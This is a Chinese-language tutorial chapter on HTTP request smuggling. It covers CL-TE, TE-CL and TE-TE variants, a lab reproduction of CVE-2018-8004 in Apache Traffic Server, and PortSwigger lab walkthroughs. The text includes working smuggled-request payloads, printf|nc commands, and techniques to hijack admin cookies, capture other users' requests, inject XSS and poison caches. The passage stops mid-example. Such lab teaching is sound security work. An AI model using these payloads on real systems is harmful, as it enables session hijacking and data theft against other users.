GET / secret HTTP/1.1rn

Host: example.comrn

这就导致了请求走私。在本文的 4.3.1小节有一个类似于这一攻击方式的实例，推荐结合起来看下。

12.3.2 3.2 CL-CL

在 RFC7230的第 3.3.3节中的第四条中，规定当服务器收到的请求中包含两个 Content-Length，而且

两者的值不同时，需要返回 400错误。

https://tools.ietf.org/html/rfc7230#section-3.3.3

但是总有服务器不会严格的实现该规范，假设中间的代理服务器和后端的源站服务器在收到类似

的请求时，都不会返回 400错误，但是中间代理服务器按照第一个 Content-Length的值对请求进行处

理，而后端源站服务器按照第二个 Content-Length的值进行处理。

此时恶意攻击者可以构造一个特殊的请求

POST / HTTP/1.1rn

Host: example.comrn

Content-Length: 8rn

Content-Length: 7rn

12345rn

a

中间代理服务器获取到的数据包的长度为 8，将上述整个数据包原封不动的转发给后端的源站服

务器，而后端服务器获取到的数据包长度为 7。当读取完前 7个字符后，后端服务器认为已经读取完

毕，然后生成对应的响应，发送出去。而此时的缓冲区去还剩余一个字母 a，对于后端服务器来说，这

个 a是下一个请求的一部分，但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了

请求，假设请求如图所示。

GET /index.html HTTP/1.1rn

Host: example.comrn

从前面我们也知道了，代理服务器与源站服务器之间一般会重用 TCP连接。

这时候正常用户的请求就拼接到了字母 a的后面，当后端服务器接收完毕后，它实际处理的请求

其实是

aGET /index.html HTTP/1.1rn

Host: example.comrn
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这时候用户就会收到一个类似于 aGET request method not found的报错。这样就实现了一次 HTTP

走私攻击，而且还对正常用户的行为造成了影响，而且后续可以扩展成类似于 CSRF的攻击方式。

但是两个 Content-Length 这种请求包还是太过于理想化了，一般的服务器都不会接受这种存在

两个请求头的请求包。但是在 RFC2616 的第 4.4 节中，规定: 如果收到同时存在 Content-Length 和

Transfer-Encoding这两个请求头的请求包时，在处理的时候必须忽略 Content-Length，这其实也就意味

着请求包中同时包含这两个请求头并不算违规，服务器也不需要返回 400错误。服务器在这里的实现

更容易出问题。

https://tools.ietf.org/html/rfc2616#section-4.4

12.3.3 3.3 CL-TE

所谓 CL-TE，就是当收到存在两个请求头的请求包时，前端代理服务器只处理 Content-Length这一请

求头，而后端服务器会遵守 RFC2616的规定，忽略掉 Content-Length，处理 Transfer-Encoding这一请

求头。

chunk传输数据格式如下，其中 size的值由 16进制表示。

[chunk size][rn][chunk data][rn][chunk size][rn][chunk data][rn][chunk size = 0][rn][rn]

Lab地址：https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

构造数据包

POST / HTTP/1.1rn

Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.netrn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0rn

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn

Accept-Language: en-US,en;q=0.5rn

Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3rn

Connection: keep-alivern

Content-Length: 6rn

Transfer-Encoding: chunkedrn

rn

0rn

rn

G

连续发送几次请求就可以获得该响应。
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由于前端服务器处理 Content-Length，所以这个请求对于它来说是一个完整的请求，请求体的长度

为 6，也就是

0rn

rn

G

当请求包经过代理服务器转发给后端服务器时，后端服务器处理 Transfer-Encoding，当它读取到

0rnrn时，认为已经读取到结尾了，但是剩下的字母 G就被留在了缓冲区中，等待后续请求的到来。当

我们重复发送请求后，发送的请求在后端服务器拼接成了类似下面这种请求。

GPOST / HTTP/1.1rn

Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.netrn

......

服务器在解析时当然会产生报错了。

12.3.4 3.4 TE-CL

所谓 TE-CL，就是当收到存在两个请求头的请求包时，前端代理服务器处理 Transfer-Encoding这一请

求头，而后端服务器处理 Content-Length请求头。

Lab地址：https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

构造数据包

POST / HTTP/1.1rn

Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.netrn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0rn

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn

Accept-Language: en-US,en;q=0.5rn

Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifewrn
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Content-Length: 4rn

Transfer-Encoding: chunkedrn

rn

12rn

GPOST / HTTP/1.1rn

rn

0rn

rn

由于前端服务器处理 Transfer-Encoding，当其读取到 0rnrn时，认为是读取完毕了，此时这个请求

对代理服务器来说是一个完整的请求，然后转发给后端服务器，后端服务器处理 Content-Length请求

头，当它读取完 12rn之后，就认为这个请求已经结束了，后面的数据就认为是另一个请求了，也就是

GPOST / HTTP/1.1rn

rn

0rn

rn

成功报错。

12.3.5 3.5 TE-TE

TE-TE，也很容易理解，当收到存在两个请求头的请求包时，前后端服务器都处理 Transfer-Encoding

请求头，这确实是实现了 RFC的标准。不过前后端服务器毕竟不是同一种，这就有了一种方法，我

们可以对发送的请求包中的 Transfer-Encoding 进行某种混淆操作，从而使其中一个服务器不处理

Transfer-Encoding请求头。从某种意义上还是 CL-TE或者 TE-CL。

Lab地址：https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header

构造数据包

POST / HTTP/1.1rn
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Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.netrn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0rn

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn

Accept-Language: en-US,en;q=0.5rn

Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8rn

Content-length: 4rn

Transfer-Encoding: chunkedrn

Transfer-encoding: cowrn

rn

5crn

GPOST / HTTP/1.1rn

Content-Type: application/x-www-form-urlencodedrn

Content-Length: 15rn

rn

x=1rn

0rn

rn

12.4 4. HTTP走私攻击实例——CVE-2018-8004

12.4.1 4.1漏洞概述

Apache Traffic Server（ATS）是美国阿帕奇（Apache）软件基金会的一款高效、可扩展的 HTTP代理和

缓存服务器。

Apache ATS 6.0.0版本至 6.2.2版本和 7.0.0版本至 7.1.3版本中存在安全漏洞。攻击者可利用该漏

洞实施 HTTP请求走私攻击或造成缓存中毒。

在美国国家信息安全漏洞库中，我们可以找到关于该漏洞的四个补丁，接下来我们详细看一下。
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CVE-2018-8004补丁列表

https://github.com/apache/trafficserver/pull/3192

https://github.com/apache/trafficserver/pull/3201

https://github.com/apache/trafficserver/pull/3231

https://github.com/apache/trafficserver/pull/3251

注：虽然漏洞通告中描述该漏洞影响范围到 7.1.3版本，但从 github上补丁归档的版本中看，在

7.1.3版本中已经修复了大部分的漏洞。

12.4.2 4.2测试环境

4.2.1简介

在这里，我们以 ATS 7.1.2为例，搭建一个简单的测试环境。

环境组件介绍

反向代理服务器

IP: 10.211.55.22:80

Ubuntu 16.04

Apache Traffic Server 7.1.2

后端服务器1-LAMP

IP: 10.211.55.2:10085

Apache HTTP Server 2.4.7

PHP 5.5.9

后端服务器2-LNMP

IP: 10.211.55.2:10086

Nginx 1.4.6

PHP 5.5.9

环境拓扑图
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Apache Traffic Server一般用作 HTTP代理和缓存服务器，在这个测试环境中，我将其运行在了本

地的 Ubuntu虚拟机中，把它配置为后端服务器 LAMP&LNMP的反向代理，然后修改本机 HOST文

件，将域名 ats.mengsec.com和 lnmp.mengsec,com解析到这个 IP，然后在 ATS上配置映射，最终实现

的效果就是，我们在本机访问域名 ats.mengsec.com通过中间的代理服务器，获得 LAMP的响应，在

本机访问域名 lnmp.mengsec,com，获得 LNMP的响应。

为了方便查看请求的数据包，我在 LNMP和 LAMP的Web目录下都放置了输出请求头的脚本。

LNMP:

<?php

echo ’This is Nginx<br>’;

if (!function_exists(’getallheaders’)) {

function getallheaders() {

$headers = array();

foreach ($_SERVER as $name => $value) {

if (substr($name, 0, 5) == ’HTTP_’) {

$headers[str_replace(’ ’, ’-’, ucwords(strtolower(str_replace(’_’, ’ ’, substr($name, 5)))))] = $value;

}
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}

return $headers;

}

}

var_dump(getallheaders());

$data = file_get_contents("php://input");

print_r($data);

LAMP:

<?php

echo ’This is LAMP:80<br>’;

var_dump(getallheaders());

$data = file_get_contents("php://input");

print_r($data);

4.2.2搭建过程

在 GIthub上下载源码编译安装 ATS。

https://github.com/apache/trafficserver/archive/7.1.2.tar.gz

安装依赖 &常用工具。

apt-get install -y autoconf automake libtool pkg-config libmodule-install-perl gcc libssl-dev libpcre3-dev libcap-dev libhwloc-dev libncurses5-dev libcurl4-openssl-dev flex tcl-dev net-tools vim curl wget

然后解压源码，进行编译 &安装。

autoreconf -if

./configure --prefix=/opt/ts-712

make

make install

安装完毕后，配置反向代理和映射。

编辑 records.config配置文件，在这里暂时把 ATS的缓存功能关闭。

vim /opt/ts-712/etc/trafficserver/records.config

CONFIG proxy.config.http.cache.http INT 0 # 关闭缓存

CONFIG proxy.config.reverse_proxy.enabled INT 1 # 启用反向代理
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CONFIG proxy.config.url_remap.remap_required INT 1 # 限制 ats 仅能访问 map 表中映射的地址

CONFIG proxy.config.http.server_ports STRING 80 80:ipv6 # 监听在本地 80 端口

编辑 remap.config配置文件，在末尾添加要映射的规则表。

vim /opt/ts-712/etc/trafficserver/remap.config

map http://lnmp.mengsec.com/ http://10.211.55.2:10086/

map http://ats.mengsec.com/ http://10.211.55.2:10085/

配置完毕后重启一下服务器使配置生效，我们可以正常访问来测试一下。

为了准确获得服务器的响应，我们使用管道符和 nc来与服务器建立链接。

printf ’GET / HTTP/1.1rn’

’Host:ats.mengsec.comrn’

’rn’

| nc 10.211.55.22 80

可以看到我们成功的访问到了后端的 LAMP服务器。

同样的可以测试，代理服务器与后端 LNMP服务器的连通性。

printf ’GET / HTTP/1.1rn’

’Host:lnmp.mengsec.comrn’

’rn’

| nc 10.211.55.22 80
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12.4.3 4.3漏洞测试

来看下四个补丁以及它的描述

https://github.com/apache/trafficserver/pull/3192 # 3192如果字段名称后面和冒号前面有空格，

则返回 400 https://github.com/apache/trafficserver/pull/3201 # 3201当返回 400错误时，关闭

链接 https://github.com/apache/trafficserver/pull/3231 # 3231验证请求中的 Content-Length头

https://github.com/apache/trafficserver/pull/3251 # 3251当缓存命中时，清空请求体

4.3.1第一个补丁

https://github.com/apache/trafficserver/pull/3192 # 3192如果字段名称后面和冒号前面有空格，

则返回 400

看介绍是给 ATS增加了 RFC7230第 3.2.4章的实现，

https://tools.ietf.org/html/rfc7230#section-3.2.4

在其中，规定了 HTTP的请求包中，请求头字段与后续的冒号之间不能有空白字符，如果存在空

白字符的话，服务器必须返回 400，从补丁中来看的话，在 ATS 7.1.2中，并没有对该标准进行一个详

细的实现。当 ATS服务器接收到的请求中存在请求字段与:之间存在空格的字段时，并不会对其进行

修改，也不会按照 RFC标准所描述的那样返回 400错误，而是直接将其转发给后端服务器。

而当后端服务器也没有对该标准进行严格的实现时，就有可能导致 HTTP走私攻击。比如 Nginx

服务器，在收到请求头字段与冒号之间存在空格的请求时，会忽略该请求头，而不是返回 400错误。

在这时，我们可以构造一个特殊的 HTTP请求，进行走私。
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GET / HTTP/1.1

Host: lnmp.mengsec.com

Content-Length : 56

GET / HTTP/1.1

Host: lnmp.mengsec.com

attack: 1

foo:

很明显，请求包中下面的数据部分在传输过程中被后端服务器解析成了请求头。

来看下Wireshark中的数据包，ATS在与后端 Nginx服务器进行数据传输的过程中，重用了 TCP连

接。
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只看一下请求，如图所示：
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阴影部分为第一个请求，剩下的部分为第二个请求。

在我们发送的请求中，存在特殊构造的请求头 Content-Length : 56，56就是后续数据的长度。

GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn

attack: 1rn

foo:

在数据的末尾，不存在 rn这个结尾。

当我们的请求到达 ATS服务器时，因为 ATS服务器可以解析 Content-Length : 56这个中间存在空

格的请求头，它认为这个请求头是有效的。这样一来，后续的数据也被当做这个请求的一部分。总的

来看，对于 ATS服务器，这个请求就是完整的一个请求。

GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn

Content-Length : 56rn

rn

GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn

attack: 1rn

foo:

ATS收到这个请求之后，根据 Host字段的值，将这个请求包转发给对应的后端服务器。在这里是

转发到了 Nginx服务器上。

而 Nginx服务器在遇到类似于这种 Content-Length : 56的请求头时，会认为其是无效的，然后将其

忽略掉。但并不会返回 400错误，对于 Nginx来说，收到的请求为
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GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn

rn

GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn

attack: 1rn

foo:

因为最后的末尾没有 rn，这就相当于收到了一个完整的 GET请求和一个不完整的 GET请求。

完整的：

GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn

rn

不完整的：

GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn

attack: 1rn

foo:

在这时，Nginx就会将第一个请求包对应的响应发送给 ATS服务器，然后等待后续的第二个请求

传输完毕再进行响应。

当 ATS转发的下一个请求到达时，对于 Nginx来说，就直接拼接到了刚刚收到的那个不完整的请

求包的后面。也就相当于

GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn

attack: 1rn

foo: GET / HTTP/1.1rn

Host: 10.211.55.2:10086rn

X-Forwarded-For: 10.211.55.2rn

Via: http/1.1 mengchen-ubuntu[3ff3687d-fa2a-4198-bc9a-0e98786adc62] (ApacheTrafficServer/7.1.2)rn

然后 Nginx将这个请求包的响应发送给 ATS服务器，我们收到的响应中就存在了 attack: 1和 foo:

GET / HTTP/1.1这两个键值对了。

那这会造成什么危害呢？可以想一下，如果 ATS转发的第二个请求不是我们发送的呢？让我们试

一下。

假设在 Nginx服务器下存在一个 admin.php，代码内容如下：
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<?php

if(isset($_COOKIE[’admin’]) && $_COOKIE[’admin’] == 1){

echo "You are Adminn";

if(isset($_GET[’del’])){

echo ’del user ’ . $_GET[’del’];

}

}else{

echo "You are not Admin";

}

由于 HTTP协议本身是无状态的，很多网站都是使用 Cookie来判断用户的身份信息。通过这个漏

洞，我们可以盗用管理员的身份信息。在这个例子中，管理员的请求中会携带这个一个 Cookie的键值

对 admin=1，当拥有管理员身份时，就能通过 GET方式传入要删除的用户名称，然后删除对应的用户。

在前面我们也知道了，通过构造特殊的请求包，可以使 Nginx服务器把收到的某个请求作为上一

个请求的一部分。这样一来，我们就能盗用管理员的 Cookie了。

构造数据包

GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn

Content-Length : 78rn

rn

GET /admin.php?del=mengchen HTTP/1.1rn

Host: lnmp.mengsec.comrn

attack: 1rn

foo:

然后是管理员的正常请求

GET / HTTP/1.1

Host: lnmp.mengsec.com

Cookie: admin=1

让我们看一下效果如何。
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在Wireshark的数据包中看的很直观，阴影部分为管理员发送的正常请求。

在 Nginx服务器上拼接到了上一个请求中，成功删除了用户 mengchen。

4.3.2第二个补丁

https://github.com/apache/trafficserver/pull/3201 # 3201当返回 400错误时，关闭连接

这个补丁说明了，在 ATS 7.1.2中，如果请求导致了 400错误，建立的 TCP链接也不会关闭。在

regilero的对 CVE-2018-8004的分析文章中，说明了如何利用这个漏洞进行攻击。

printf ’GET / HTTP/1.1rn’

’Host: ats.mengsec.comrn’

’aa: bbrn’

’foo: barrn’

’GET /2333 HTTP/1.1rn’

’Host: ats.mengsec.comrn’

’rn’

| nc 10.211.55.22 80

一共能够获得 2个响应，都是 400错误。
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ATS在解析 HTTP请求时，如果遇到 NULL，会导致一个截断操作，我们发送的这一个请求，对于

ATS服务器来说，算是两个请求。

第一个

GET / HTTP/1.1rn

Host: ats.mengsec.comrn

aa:
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第二个

bbrn

foo: barrn

GET /2333 HTTP/1.1rn

Host: ats.mengsec.comrn

rn

第一个请求在解析的时候遇到了 NULL，ATS服务器响应了第一个 400错误，后面的 bbrn成了后

面请求的开头，不符合 HTTP请求的规范，这就响应了第二个 400错误。

再进行修改下进行测试

printf ’GET / HTTP/1.1rn’

’Host: ats.mengsec.comrn’

’aa: bbrn’

’GET /1.html HTTP/1.1rn’

’Host: ats.mengsec.comrn’

’rn’

| nc 10.211.55.22 80
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一个 400响应，一个 200响应，在Wireshark中也能看到，ATS把第二个请求转发给了后端 Apache

服务器。
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那么由此就已经算是一个 HTTP请求拆分攻击了，

GET / HTTP/1.1rn

Host: ats.mengsec.comrn

aa: bbrn

GET /1.html HTTP/1.1rn

Host: ats.mengsec.comrn

rn

但是这个请求包，怎么看都是两个请求，中间的 GET /1.html HTTP/1.1rn不符合 HTTP数据包中请

求头 Name:Value的格式。在这里我们可以使用 absoluteURI，在 RFC2616中第 5.1.2节中规定了它的

详细格式。

https://tools.ietf.org/html/rfc2616#section-5.1.2

我们可以使用类似 GET http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1的请求头进行请求。

构造数据包

GET /400 HTTP/1.1rn

Host: ats.mengsec.comrn

aa: bbrn

GET http://ats.mengsec.com/1.html HTTP/1.1rn
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rn

GET /404 HTTP/1.1rn

Host: ats.mengsec.comrn

rn

printf ’GET /400 HTTP/1.1rn’

’Host: ats.mengsec.comrn’

’aa: bbrn’

’GET http://ats.mengsec.com/1.html HTTP/1.1rn’

’rn’

’GET /404 HTTP/1.1rn’

’Host: ats.mengsec.comrn’

’rn’

| nc 10.211.55.22 80

本质上来说，这是两个 HTTP请求，第一个为

GET /400 HTTP/1.1rn

Host: ats.mengsec.comrn

aa: bbrn

GET http://ats.mengsec.com/1.html HTTP/1.1rn

rn

其中 GET http://ats.mengsec.com/1.html HTTP/1.1 为名为 GET http，值为//ats.mengsec.com/1.html

HTTP/1.1的请求头。

第二个为

GET /404 HTTP/1.1rn

Host: ats.mengsec.comrn

rn

当该请求发送给 ATS服务器之后，我们可以获取到三个 HTTP响应，第一个为 400，第二个为 200，

第三个为 404。多出来的那个响应就是 ATS中间对服务器 1.html的请求的响应。
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根据 HTTP Pipepline的先入先出规则，假设攻击者向 ATS服务器发送了第一个恶意请求，然后受

害者向 ATS服务器发送了一个正常的请求，受害者获取到的响应，就会是攻击者发送的恶意请求中的

GET http://evil.mengsec.com/evil.html HTTP/1.1中的内容。这种攻击方式理论上是可以成功的，但是利

用条件还是太苛刻了。
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对于该漏洞的修复方式，ATS服务器选择了，当遇到 400错误时，关闭 TCP链接，这样无论后续

有什么请求，都不会对其他用户造成影响了。

4.3.3第三个补丁

https://github.com/apache/trafficserver/pull/3231 # 3231验证请求中的 Content-Length头

在该补丁中，bryancall的描述是

当Content-Length请求头不匹配时，响应400，删除具有相同Content-Length请求头的重复副本，如果存在Transfer-Encoding请求头，则删除Content-Length请求头。

从这里我们可以知道，ATS 7.1.2版本中，并没有对 RFC2616的标准进行完全实现，我们或许可以

进行 CL-TE走私攻击。

构造请求

GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn

Content-Length: 6rn

Transfer-Encoding: chunkedrn

rn

0rn

rn

G

多次发送后就能获得 405 Not Allowed响应。

我们可以认为，后续的多个请求在 Nginx服务器上被组合成了类似如下所示的请求。

GGET / HTTP/1.1rn

Host: lnmp.mengsec.comrn

......

对于 Nginx来说，GGET这种请求方法是不存在的，当然会返回 405报错了。

接下来尝试攻击下 admin.php，构造请求
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GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn

Content-Length: 56rn

rn

GET /admin.php?del=mengchen HTTP/1.1rn

Host: lnmp.mengsec.comrn

attack: 1rn

foo:

多次请求后获得了响应 You are not Admin，说明服务器对 admin.php进行了请求。

如果此时管理员已经登录了，然后想要访问一下网站的主页。他的请求为

GET / HTTP/1.1

Host: lnmp.mengsec.com

Cookie: admin=1

效果如下

我们可以看一下Wireshark的流量，其实还是很好理解的。
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阴影所示部分就是管理员发送的请求，在 Nginx服务器中组合进入了上一个请求中，就相当于

GET /admin.php?del=mengchen HTTP/1.1

Host: lnmp.mengsec.com

attack: 1

foo: GET / HTTP/1.1

Host: 10.211.55.2:10086

Cookie: admin=1

X-Forwarded-For: 10.211.55.2

Via: http/1.1 mengchen-ubuntu[e9365059-ad97-40c8-afcb-d857b14675f6] (ApacheTrafficServer/7.1.2)

携带着管理员的 Cookie进行了删除用户的操作。这个与前面 4.3.1中的利用方式在某种意义上其

实是相同的。

4.3.3第四个补丁

https://github.com/apache/trafficserver/pull/3251 # 3251当缓存命中时，清空请求体

当时看这个补丁时，感觉是一脸懵逼，只知道应该和缓存有关，但一直想不到哪里会出问题。看代

码也没找到，在 9月 17号的时候 regilero的分析文章出来才知道问题在哪。

当缓存命中之后，ATS服务器会忽略请求中的 Content-Length请求头，此时请求体中的数据会被

ATS当做另外的 HTTP请求来处理，这就导致了一个非常容易利用的请求走私漏洞。

在进行测试之前，把测试环境中 ATS服务器的缓存功能打开，对默认配置进行一下修改，方便我

们进行测试。
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vim /opt/ts-712/etc/trafficserver/records.config

CONFIG proxy.config.http.cache.http INT 1 # 开启缓存功能

CONFIG proxy.config.http.cache.ignore_client_cc_max_age INT 0 # 使客户端 Cache-Control 头生效，方便控制缓存过期时间

CONFIG proxy.config.http.cache.required_headers INT 1 # 当收到 Cache-control: max-age 请求头时，就对响应进行缓存

然后重启服务器即可生效。

为了方便测试，我在 Nginx网站目录下写了一个生成随机字符串的脚本 random_str.php

function randomkeys($length){

$output=’’;

for ($a = 0; $a<$length; $a++) {

$output .= chr(mt_rand(33, 126));

}

return $output;

}

echo "get random string: ";

echo randomkeys(8);

构造请求包

GET /1.html HTTP/1.1rn

Host: lnmp.mengsec.comrn

Cache-control: max-age=10rn

Content-Length: 56rn

rn

GET /random_str.php HTTP/1.1rn

Host: lnmp.mengsec.comrn

rn

第一次请求
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第二次请求

可以看到，当缓存命中时，请求体中的数据变成了下一个请求，并且成功的获得了响应。

GET /random_str.php HTTP/1.1rn

Host: lnmp.mengsec.comrn

rn

而且在整个请求中，所有的请求头都是符合 RFC规范的，这就意味着，在 ATS前方的代理服务器，

哪怕严格实现了 RFC标准，也无法避免该攻击行为对其他用户造成影响。

ATS的修复措施也是简单粗暴，当缓存命中时，把整个请求体清空就好了。

12.5 5. 其他攻击实例

在前面，我们已经看到了不同种代理服务器组合所产生的 HTTP请求走私漏洞，也成功模拟了使用

HTTP请求走私这一攻击手段来进行会话劫持，但它能做的不仅仅是这些，在 PortSwigger中提供了利

用 HTTP请求走私攻击的实验，可以说是很典型了。

12.5.1 5.1绕过前端服务器的安全控制

在这个网络环境中，前端服务器负责实现安全控制，只有被允许的请求才能转发给后端服务器，而后

端服务器无条件的相信前端服务器转发过来的全部请求，对每个请求都进行响应。因此我们可以利用

HTTP请求走私，将无法访问的请求走私给后端服务器并获得响应。在这里有两个实验，分别是使用

CL-TE和 TE-CL绕过前端的访问控制。

5.1.1使用 CL-TE绕过前端服务器安全控制

Lab地址：https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-

te

实验的最终目的是获取 admin权限并删除用户 carlos

我们直接访问/admin，会返回提示 Path /admin is blocked，看样子是被前端服务器阻止了，根据题

目的提示 CL-TE，我们可以尝试构造数据包
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POST / HTTP/1.1

Host: ac1b1f991edef1f1802323bc00e10084.web-security-academy.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Cookie: session=Iegl0O4SGnwlddlFQzxduQdt8NwqWsKI

Content-Length: 38

Transfer-Encoding: chunked

0

GET /admin HTTP/1.1

foo: bar

进行多次请求之后，我们可以获得走私过去的请求的响应。

提示只有是以管理员身份访问或者在本地登录才可以访问/admin接口。

在下方走私的请求中，添加一个 Host: localhost请求头，然后重新进行请求，一次不成功多试几次。

如图所示，我们成功访问了 admin界面。也知道了如何删除一个用户，也就是对/admin/delete?username=carlos

进行请求。
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修改下走私的请求包再发送几次即可成功删除用户 carlos。

需要注意的一点是在这里，不需要我们对其他用户造成影响，因此走私过去的请求也必须是一个

完整的请求，最后的两个 rn不能丢弃。

5.1.1使用 TE-CL绕过前端服务器安全控制

Lab地址：https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-

cl

这个实验与上一个就十分类似了，具体攻击过程就不在赘述了。
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12.5.2 5.2获取前端服务器重写请求字段

在有的网络环境下，前端代理服务器在收到请求后，不会直接转发给后端服务器，而是先添加一些必

要的字段，然后再转发给后端服务器。这些字段是后端服务器对请求进行处理所必须的，比如：

描述 TLS连接所使用的协议和密码

包含用户 IP地址的 XFF头

用户的会话令牌 ID

总之，如果不能获取到代理服务器添加或者重写的字段，我们走私过去的请求就不能被后端服务

器进行正确的处理。那么我们该如何获取这些值呢。PortSwigger提供了一个很简单的方法，主要是三

大步骤：

找一个能够将请求参数的值输出到响应中的 POST请求

把该 POST请求中，找到的这个特殊的参数放在消息的最后面

然后走私这一个请求，然后直接发送一个普通的请求，前端服务器对这个请求重写的一些字段就

会显示出来。

怎么理解呢，还是做一下实验来一起来学习下吧。

Lab地址：https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-

rewriting

实验的最终目的还是删除用户 carlos。

我们首先进行第一步骤，找一个能够将请求参数的值输出到响应中的 POST请求。

在网页上方的搜索功能就符合要求

174



漏洞分析 协议层的攻击——HTTP请求走私

构造数据包

POST / HTTP/1.1

Host: ac831f8c1f287d3d808d2e1c00280087.web-security-academy.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0

Content-Type: application/x-www-form-urlencoded

Cookie: session=2rOrjC16pIb7ZfURX8QlSuU1v6UMAXLA

Content-Length: 77

Transfer-Encoding: chunked

0

POST / HTTP/1.1

Content-Length: 70

Connection: close

search=123

多次请求之后就可以获得前端服务器添加的请求头
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这是如何获取的呢，可以从我们构造的数据包来入手，可以看到，我们走私过去的请求为

POST / HTTP/1.1

Content-Length: 70

Connection: close

search=123

其中 Content-Length的值为 70，显然下面携带的数据的长度是不够 70的，因此后端服务器在接收

到这个走私的请求之后，会认为这个请求还没传输完毕，继续等待传输。

接着我们又继续发送相同的数据包，后端服务器接收到的是前端代理服务器已经处理好的请求，

当接收的数据的总长度到达 70时，后端服务器认为这个请求已经传输完毕了，然后进行响应。这样

一来，后来的请求的一部分被作为了走私的请求的参数的一部分，然后从响应中表示了出来，我们就

能获取到了前端服务器重写的字段。

在走私的请求上添加这个字段，然后走私一个删除用户的请求就好了。
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12.5.3 5.3获取其他用户的请求

在上一个实验中，我们通过走私一个不完整的请求来获取前端服务器添加的字段，而字段来自于我们

后续发送的请求。换句话说，我们通过请求走私获取到了我们走私请求之后的请求。如果在我们的恶

意请求之后，其他用户也进行了请求呢？我们寻找的这个 POST请求会将获得的数据存储并展示出来

呢？这样一来，我们可以走私一个恶意请求，将其他用户的请求的信息拼接到走私请求之后，并存储

到网站中，我们再查看这些数据，就能获取用户的请求了。这可以用来偷取用户的敏感信息，比如账

号密码等信息。

Lab地址：https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests

实验的最终目的是获取其他用户的 Cookie用来访问其他账号。

我们首先去寻找一个能够将传入的信息存储到网站中的 POST请求表单，很容易就能发现网站中

有一个用户评论的地方。

抓取 POST请求并构造数据包

POST / HTTP/1.1

Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa

Content-Length: 267

Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1

Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net
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Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa

Content-Length: 400

csrf=JDqCEvQexfPihDYr08mrlMun4ZJsrpX7&postId=5&name=meng&email=email%40qq.com&website=&comment=

这样其实就足够了，但是有可能是实验环境的问题，我无论怎么等都不会获取到其他用户的请求，

反而抓了一堆我自己的请求信息。不过原理就是这样，还是比较容易理解的，最重要的一点是，走私

的请求是不完整的。

12.5.4 5.4利用反射型 XSS

我们可以使用 HTTP走私请求搭配反射型 XSS进行攻击，这样不需要与受害者进行交互，还能利用漏

洞点在请求头中的 XSS漏洞。

Lab地址：https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss

在实验介绍中已经告诉了前端服务器不支持分块编码，目标是执行 alert(1)

首先根据 UA出现的位置构造 Payload
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然后构造数据包

POST / HTTP/1.1

Host: ac801fd21fef85b98012b3a700820000.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 123

Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1

User-Agent: "><script>alert(1)</script>#

Content-Type: application/x-www-form-urlencoded

此时在浏览器中访问，就会触发弹框

再重新发一下，等一会刷新，可以看到这个实验已经解决了。
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12.5.5 5.5进行缓存投毒

一般来说，前端服务器出于性能原因，会对后端服务器的一些资源进行缓存，如果存在 HTTP请求走

私漏洞，则有可能使用重定向来进行缓存投毒，从而影响后续访问的所有用户。

Lab地址：https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning

实验环境中提供了漏洞利用的辅助服务器。

需要添加两个请求包，一个 POST，携带要走私的请求包，另一个是正常的对 JS文件发起的 GET

请求。

以下面这个 JS文件为例

/resources/js/labHeader.js

编辑响应服务器
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构造 POST走私数据包

POST / HTTP/1.1

Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net

Content-Length: 129

Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1

Host: acb11fe31e16e96b800e125a013b009f.web-security-academy.net

